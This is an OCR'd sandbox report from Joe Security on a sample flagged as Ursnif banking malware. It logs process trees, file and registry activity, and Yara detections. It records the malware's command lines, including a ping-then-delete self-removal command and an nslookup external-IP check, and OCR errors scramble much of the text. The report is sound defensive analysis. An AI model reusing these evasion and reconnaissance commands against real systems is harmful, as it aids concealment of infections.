crosoft\Windows\PowerShell\Sta 03 Oe fd 00 04 Oe fd 00
rtupProfileData-NonInteractive 05 Oe fd 00 06 Oe fd 00

07 Oe fd 00 08 Oe fd 00
00 Oe fd 00 09 Oe fd 00
0Oa Oc fd 00 Ob Oe fd 00 Oc
Oe fd 00 22 00 40 00 24
00 40 00 6a 00 40 00 fd
00 40 00 fd 00 40 00 fd
00 40 00 fd 00 40 00 18
00 40 00 57 00 40 00 Od
Oc fd 00 Oe Oc fd 00 Od

Oe fd 00 Of Oe fd 00

File Read

File Path Offset Length Completion Count Source Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFFDC07B9DD unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFFDC07B9DD unknown
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 4095 success or wait 1 7FFFDC07B9DD unknown
ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 6135 success or wait 1 7FFFDC07B9DD unknown
ne.config

C:\Windows\assembly\Nativelmages_v4.0.30319_64\mscorlib\ac26 unknown 176 success or wait 1 7FFFDC1512E7 ReadFile
e2af62f23e37e645b5e44068a025\mscorlib.ni.dll.aux

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFFDC082625 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFFDC082625 ReadFile
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 4095 success or wait 1 7FFFDC082625 ReadFile
ne.config

C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.Pb3 unknown 1248 success or wait 1 7FFFDC1512E7 ReadFile

78ec07#\58553ff4dedfOb1dd22a283773a566fc\Microsoft.PowerShel
|.ConsoleHost.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System\10a171 unknown 620 success or wait 1 7FFFDC1512E7 ReadFile
39182a9efd561f01fada9688a5\System.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Core\4 unknown 900 success or wait 1 7FFFDC1512E7 ReadFile
e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Manaa5 unknown 2764 success or wait 1 7FFFDC1512E7 ReadFile
7fc8cc#\8b2774850bdc17a926dc650317d86b33\System.Management.A
utomation.ni.dll.aux

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFFDC07B9DD unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFFDC07B9DD unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFFDC07B9DD unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFFDC07B9DD unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.Mf4 unknown 748 success or wait 1 7FFFDC1512E7 ReadFile

9f6405#\dfef7ale85e28d0ba698946h7fc68a28\Microsoft. Managemen
t.Infrastructure.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Manage unknown 764 success or wait 1 7FFFDC1512E7 ReadFile
ment\dOf4eb5b1d0857aabc3e7dd079735875\System.Management.ni.d

Il.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Dired1 unknown 752 success or wait 1 7FFFDC1512E7 ReadFile

3b18a9#\78d6ee2fdd35fdb45b3d78d899e481ea\System.DirectorySer
vices.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Xml\f2 unknown 748 success or wait 1 7FFFDC1512E7 ReadFile
e3165e3c718b7ac302fead0614c984\System.Xml.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Data\9 unknown 1540 success or wait 1 7FFFDC1512E7 ReadFile
9a190301066e9665ec15a1f355a928e\System.Data.ni.dll.aux

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 4095 success or wait 1 7FFFDC07B9DD unknown
ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 4097 success or wait 1 7FFFDC07B9DD unknown
ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi unknown 8171 end of file 1 7FFFDC07B9DD unknown
ne.config

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown 64 success or wait 1 7FFFDC0662DB ReadFile

rtupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Sta unknown 23120 success or wait 1 7FFFDCO0663B9 ReadFile
rtupProfileData-NonInteractive

C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.P6f unknown 1268 success or wait 1 7FFFDC1512E7 ReadFile
792626#\e64755e76f85a3062b9f5a99a62dcabb\Microsoft.PowerShel
|.Security.ni.dll.aux
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File Path

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Transa
ctions\773cde8eca09561aeac8ad051c091203\System. Transactions.
ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Config
uration\e82398e9ff6885d617e4b97e31fb4f02\System.Configuratio
n.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Config
uration\e82398e9ff6885d617e4b97e31fb4f02\System.Configuratio
n.ni.dll.aux

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod
uleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod
uleAnalysisCache

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operatio
n.Validation.psd1

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operatio
n.Validation.psd1

C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerSh
ell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operatio
n.Validation.psd1

C:\Program Files\WindowsPowerShell\Modules\PackageManagement
\1.0.0.1\PackageManagement.psdl

C:\Program Files\WindowsPowerShell\Modules\PackageManagement
\1.0.0.1\PackageManagement.psd1l

C:\Program Files\WindowsPowerShell\Modules\PackageManagement
\1.0.0.1\PackageManagement.psd1l

C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1
C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PowerShellGet.psd1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PSModule.psm1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PSModule.psm1

C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0
.0.1\PSModule.psm1

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PS
Readline.psdl

C:\Program Files\WindowsPowerShell\Modules\PSReadline\1.2\PS
Readline.psdl

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psd1

C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.P52
1220ea#\3fead9bee9d7ca09b54c4ee7c5ed0848\Microsoft.PowerShel
|.Commands. Utility.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_64\System.Confe6
4a9051#\b7f41bbfe8914f994b68b89a23570901\System.Configuratio
n.Install.ni.dll.aux
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Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length

924

864

864

4096

62

4096

492

4096

4096

774

4096

4096
4096
4096
4096
4096
682

4096
4096

289

4096

289

4096

4096

993

4096

4096

4096

4096

637

4096

4096

637

2264

1260

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait
end of file
success or wait
end of file
success or wait
end of file
end of file

success or wait

end of file

end of file

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

success or wait

Count Source Address

1

141

7FFFDC1512E7

7FFFDC1512E7

7FFFDC1512E7

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526
7FFFDAFDB526
7FFFDAFDB526
7FFFDAFDB526
7FFFDAFDB526
7FFFDAFDB526
7FFFDAFDB526
7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDAFDB526

7FFFDC1512E7

7FFFDC1512E7

Symbol

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile
ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile
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File Path

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Utility\Microsoft.PowerShell. Utility.psm1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell. Management.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell. Management.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft
.PowerShell.Management\Microsoft.PowerShell.Management.psd1

C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.Pae
3498d9#\03aa8bc6b99490176793256632e8342e\Microsoft.PowerShel
|.Commands.Management.ni.dll.aux

C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.dll
C:\Users\user\AppData\Local\Temp\yb3geOmO0\yb3geOmO.dll
C:\Windows\System32\ntdIl.dll

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\machi
ne.config

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config

Analysis Process: conhost.exe PID: 6636, Parent PID: 6648

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length

4096

128

4096

4096

534

4096

4096

534

3148

4096
4096

4096

4096

4096
4096

General

Target ID: 21

Start time: 15:36:18

Start date: 28/04/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):

Commandline:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1

Imagebase: 0x7ff647620000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator true

privileges:
Programmed in:

Reputation:

C, C++ or other language

high

Analysis Process: csc.exe PID: 6460, Parent PID: 6648

General

Target ID: 22

Start time: 15:36:29

Start date: 28/04/2022

Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit): false

Commandline:

Completion

success or wait

end of file

end of file

success or wait

end of file

end of file

success or wait

end of file

success or wait

success or wait

success or wait

success or wait

success or wait

end of file

success or wait

end of file

Count Source Address

8 7FFFDAFDB526
1 7FFFDAFDB526
1 7FFFDAFDB526
1 7FFFDAFDB526
1 7FFFDAFDB526
1 7FFFDAFDB526
1 7FFFDAFDB526
1 7FFFDAFDB526
1 7FFFDC1512E7
1 7FFFDAFDB526
1 7FFFDAFDB526
3 2C95D6526D6

1 7FFFDAFDB526
1 7FFFDAFDB526
1 7FFFDAFDB526
1 7FFFDAFDB526

Symbol

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

ReadFile

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.cmdline

Imagebase: 0x7ff6172d0000
File size: 2739304 bytes
MDS5 hash: B46100977911A0C9FB1C3E5F16A5017D

Has elevated privileges:

true
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Has administrator true

privileges:
Programmed in: .Net C# or VB.NET
Reputation: moderate

File Activities
File Created
File Path

c:\Users\user\AppData\Local\Te
mp\boqgffz)\CSC6A71A2D878D5420
1A284CABB415B85EF.TMP

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\boqgffz)\CSC6A71A2D878D54201A284CABB415B85EF.TMP

File Written

File Path Offset Length

C:\Users\user\AppData\Local\Te 0 652

mp\boqgffz)\CSC6A71A2D878D5420
1A284CABB415B85EF.TMP

File Read

File Path

C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.cmdline

C:\Users\user\AppData\Local\Temp\boqgffzj\boqgffzj.0.cs

Access

read attributes |
synchronize |
generic write

Value

00 00 00 00 20 00 00 00
fd fd 00 00 fd fd 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 4c
02 00 00 3c 00 00 00 fd
fd 10 00 fd fd 01 00 00 00
00 00 30 00 00 00 00 00
00 00 00 00 00 00 4c 02
34 00 00 00 56 00 53 00
5f 00 56 00 45 00 52 00
53 00 49 00 4f 00 4e 00
5f 00 49 00 4e 00 46 00
4f 00 00 00 00 00 fd 04 fd
fd 00 00 01 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 3f 00 00
00 00 00 00 00 04 00 00
00 02 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 44 00 00 00 01 00 56
00 61 00 72 00 46 00 69
00 6¢ 00 65 00 49 00 6e
00 66 00 6f 00 00 00 00
00 24 00 04 00 00 00 54
00 72 00 61 00 6e 00 73
00 6¢ 00 61 00 74 00 69
00 6f 00 6e 00 00 00 00
00 00 00 fd 04 fd 01 00
0001 0053 00 74 00 72
00 69 00 6e 00 67 00 46
00 69 00 6¢ 00 65 00 49
00 6e 00 66

Offset

unknown

Analysis Process: cvtres.exe PID: 488, Parent PID: 6460

General

Target ID: 23

Start time: 15:36:31
Start date: 28/04/2022
Path:

Wow64 process (32bit): false

Commandline:

Attributes

device

unknown

Options Completion

synchronous io  success or wait 1
non alert | non

directory file

Completion Count Source Address

success or wait 1 TFF61734E740

Ascii Completion Count Source Address

L<OL4VS_VERSION_IN  success or wait 1 7FF61734ED5B

FO?DVarFile
Info$TranslationStringFile
Inf

Length Completion

369 success or wait 1 7FF6172E1EE7

403 success or wait 1 7FF6172E1EE7

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe

RESAFF5.tmp" "c:\Users\user\AppData\Local\Temp\boqgffzZ\CSC6A71A2D878D54201A284CABB415B85EF. TMP"

Imagebase: 0x7ff6b81f0000
File size: 47280 bytes
MDS5 hash: 33BBBBEOB4F547324D93D5D2725CAC3D

Has elevated privileges: true
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Count Source Address

7TFF61734E907

Count Source Address

Symbol

CreateFileW

Symbol

DeleteFilew

Symbol

WriteFile

Symbol
ReadFile

ReadFile

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvires.exe INOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\
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Has administrator true

privileges:
Programmed in: C, C++ or other language
Reputation: moderate

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol
File Path Offset Length Value Ascii Completion Count Source Address Symbol
File Path Offset Length Completion Count Source Address Symbol

Analysis Process: csc.exe PID: 3724, Parent PID: 6648

General

Target ID: 24

Start time: 15:36:34

Start date: 28/04/2022

Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yb3geOmO\yb3geOmO.cmdline
Imagebase: 0x7ff6172d0000

File size: 2739304 bytes

MD5 hash: B46100977911A0C9FB1C3E5F16A5017D

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: .Net C# or VB.NET

Reputation: moderate

File Activities

File Created

File Path Access Attributes Options Completion Count Source Address Symbol
c:\Users\user\AppData\Local\Te read attributes |  device synchronous io  success or wait 1 7FF61734E907 CreateFileW
mp\yb3geOmO\CSCCD644729527F474 synchronize | non alert | non

8ACDO6F6743FBF148. TMP generic write directory file

File Deleted

File Path Completion Count Source Address Symbol
C:\Users\user\AppData\Local\Temp\yb3geOmO\CSCCD644729527F4748ACD0O6F6743FBF148. TMP success or wait 1 7FF61734E740 DeleteFilew
File Written

File Path Offset Length Value Ascii Completion Count Source Address Symbol
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File Path

C:\Users\user\AppData\Local\Te 0 652
mplyb3geOmO\CSCCD644729527F47
48ACDO06F6743FBF148.TMP

File Read
File Path

C:\Users\user\AppData\Local\Temp\yb3geOmO0\yb3geOmO.cmdline

C:\Users\user\AppData\Local\Temp\yb3geOmO0\yb3geOmO0.0.cs

Offset Length Value Ascii

00 00 00 00 20 00 00 00
fd fd 00 00 fd fd 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 000000 4c  Inf
02 00 00 3c 00 00 00 fd

fd 10 00 fd fd 01 00 00 00

00 00 30 00 00 00 00 00

00 00 00 00 00 00 4c 02

34 00 00 00 56 00 53 00

5f 00 56 00 45 00 52 00

53 00 49 00 4f 00 4e 00

5f 00 49 00 4e 00 46 00

4f 00 00 00 00 00 fd 04 fd

fd 00 00 01 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 3f 00 00

00 00 00 00 00 04 00 00

00 02 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 44 00 00 00 01 00 56

00 61 00 72 00 46 00 69

00 6¢ 00 65 00 49 00 6e

00 66 00 6f 00 00 00 00

00 24 00 04 00 00 00 54

00 72 00 61 00 6e 00 73

00 6¢ 00 61 00 74 00 69

00 6f 00 6e 00 00 00 00

00 00 00 fd 04 fd 01 00

00 01 00 53 00 74 00 72

00 69 00 6e 00 67 00 46

00 69 00 6¢ 00 65 00 49

00 6e 00 66

Offset

unknown

unknown

Analysis Process: cvtres.exe PID: 2980, Parent PID: 3724

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

25

15:36:35

28/04/2022

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe

false

L<OL4VS_VERSION_IN
FO?DVarFile
Info$TranslationStringFile

Length
369
392

Completion

success or wait

Completion

success or wait

success or wait

Count Source Address

1 7TFF61734EDSB

Count Source Address

1 7TFF6172E1EE7
1 TFF6172E1EE7

Symbol

WriteFile

Symbol
ReadFile

ReadFile

C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\
RESCOEC.tmp" "c:\Users\user\AppData\Local\Templyb3geOmO\CSCCD644729527F4748ACD06F6743FBF148. TMP"

0x7ff6b81f0000

47280 bytes
33BB8BEOB4F547324D93D5D2725CAC3D
true

true

C, C++ or other language

moderate

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

File Path

Access Attributes

Offset

Length Value Ascii

Offset

Analysis Process: control.exe PID: 2300, Parent PID: 6388
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Options

Length

Completion

Completion

Completion

Count Source Address

Count Source Address

Count Source Address

Symbol

Symbol

Symbol
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General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Path

File Read
File Path

26

15:36:36

28/04/2022
C:\Windows\System32\control.exe

false

C:\Windows\system32\control.exe -h
0x7ff65afd0000

117760 bytes
625DAC87CB5D7D44C5CA1DAS57898065F
true

true

C, C++ or other language

e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
0000001A.00000000.384032438.0000000000BF0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
0000001A.00000000.384607369.0000000000BF0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
0000001A.00000003.385142390.0000022D60C0OC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
0000001A.00000000.383530589.0000000000BF0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
0000001A.00000003.385040774.0000022D60C0OC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

moderate

Access

C:\Windows\System32\ntd|l.dll

Analysis Process: explorer.exe PID: 3616, Parent P!

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

File Read

File Path

28

15:36:44

28/04/2022

C:\Windows\explorer.exe

false

C:\Windows\Explorer. EXE

0x7ff6f3b00000

3933184 bytes
AD5296B280E8F522A8A897C96BABOE1D
true

true

C, C++ or other language

C:\Windows\System32\ntdll.dll

Registry Activities

Key Value Created
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D: 6648

Attributes

Offset

unknown

Offset

unknown

Options

Length

Length

Completion

Completion

success or wait

Completion

success or wait

Count Source Address

Count Source Address

3

BF26D6

Count Source Address

38

63726D6

Symbol

Symbol

ReadFile

Symbol

ReadFile
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Key Path Name Type Data Completion Count Source Address Symbol
HKEY_CURRENT_USER\Softwar = EnableSPDY3_  dword 0 success or wait 1 638A7C3 RegSetValueEx
e\Mic 0 A
rosoft\Windows\CurrentVersion\

Internet Settings

HKEY_CURRENT_USER\Softwar {1BED482B- binary A5 5A A6 OF 05 5B D8 01 success or wait 1 63896E7 RegSetValueEx
e\App BEBF-0564- A
Datalow\Software\Microsoft\54E  A07F-D209D

80703-A337-A6B8-CDC8- 423264D}

873A517CABOE

HKEY_CURRENT_USER\Softwar = {48194F9B- binary A5 27 84 38 05 5B D8 01 success or wait 1 63896E7 RegSetValueEx
e\App 07EC-BAB9- A
Datalow\Software\Microsoft\54E ~ D1FC-2B8E9

80703-A337-A6B8-CDC8- 5F08FA2}

873A517CABOE

Analysis Process: cmd.exe PID: 3684, Parent PID: 3616

General

Target ID: 36

Start time: 15:37:02

Start date: 28/04/2022

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\626a961800203.dll

Imagebase: 0x7ff7bb450000

File size: 273920 bytes

MD5 hash: AE2ACFAF8A396486AB4268C94A6A245F

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes Options Completion Count Source Address Symbol

Analysis Process: conhost.exe PID: 6796, Parent PID: 3684

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

37

15:37:04

28/04/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff647620000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: PING.EXE PID: 6784, Parent PID: 3684

General
Target ID:
Start time:

Start date:

38
15:37:05
28/04/2022

Copyright Joe Security LLC 2022
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Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

C:\Windows\System32\PING.EXE

false

ping localhost -n 5

0x7ff7adc30000

21504 bytes
6A7389ECE70FB97BFE9A570DB4ACCC3B
true

true

C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes Options Completion Count Source Address

Analysis Process: RuntimeBroker.exe PID: 4440, Parent PID: 3616

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

39

15:37:09

28/04/2022

C:\Windows\System32\RuntimeBroker.exe

false

C:\Windows\System32\RuntimeBroker.exe -Embedding
0x7ff6b45b0000

99272 bytes
C7E36B4A5D9E6ACE00DD7A0EOD52DACS

true

true

C, C++ or other language

e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000027.00000000.802429356.000001F9BBE30000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000027.00000000.821715289.000001F9BBE30000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source:
00000027.00000000.786541776.000001F9BBE30000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security

Analysis Process: cmd.exe PID: 1300, Parent PID: 3616

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

File Activities

40

15:37:24

28/04/2022

C:\Windows\System32\cmd.exe

false

cmd /C "nslookup myip.opendns.com resolverl.opendns.com > C:\Users\user\AppData\Local\Temp\92B2.bi1"
0x7ff7bb450000

273920 bytes

AE2ACF4F8A396486AB4268C94A6A245F

true

true

C, C++ or other language

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Access Attributes Options Completion Count Source Address

Copyright Joe Security LLC 2022

Symbol

Symbol
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Analysis Process: conhost.exe PID: 1048, Parent PID: 1300

General

Target ID: 41

Start time: 15:37:41

Start date: 28/04/2022

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff647620000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Analysis Process: rundll32.exe PID: 1408, Parent PID: 2300

General

Target ID: 44

Start time: 15:40:48

Start date: 28/04/2022

Path: C:\Windows\System32\rundlI32.exe

Wow64 process (32bit):

Commandline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h
Imagebase:

File size: 69632 bytes

MD5 hash: 73C519F050C20580F8A62C849D49215A

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language

Disassembly

@ No disassembly
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